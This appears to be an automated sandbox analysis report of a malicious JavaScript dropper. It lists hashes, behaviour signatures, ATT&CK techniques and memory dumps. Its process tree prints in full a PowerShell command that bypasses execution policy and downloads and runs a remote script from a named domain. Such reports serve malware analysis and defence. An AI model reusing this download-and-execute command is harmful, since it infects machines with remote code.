b6e535bb9804a7957cf762dce0fbec231d1de1436163d1a178e04cd34e193396

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 12:38

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General

Target

in_5505503550550.js
Size

25KB
MD5

a1b9dd447c4d6f9183c5bf87947e25a9
SHA1

4f432cbe8e8af24ad387d6610ac9faf77c9a546d
SHA256

105c853779f94467b02eaa90a34a8f72443cab1548904132f2e7e552d02319bc
SHA512

0471387eab700330007f078989cd2ac9f2e5733a49141c19cf6331b3d5baa41e5fbace94d88fc31f2519ff94df622fbf31c80fb854310777e288d35cc0674d78
SSDEEP

768:WK8dfrxV8cShXNCEfcrUUe/7kS831swOD4Wz/D3ntccJn/XjCfUnwYOYoE1NbKfD:ymwMTnZc3HH

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://hsdiagnostico.com/readme.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2716	powershell.exe
6	2716	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 2716	2052	wscript.exe	28
PID 2052 wrote to memory of 2716	2052	wscript.exe	28
PID 2052 wrote to memory of 2716	2052	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\in_5505503550550.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://hsdiagnostico.com/readme.php')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2716-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-5-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2716-6-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-7-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2716-8-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-10-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2716-11-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2716-9-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2716-12-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2716-13-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2716-14-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download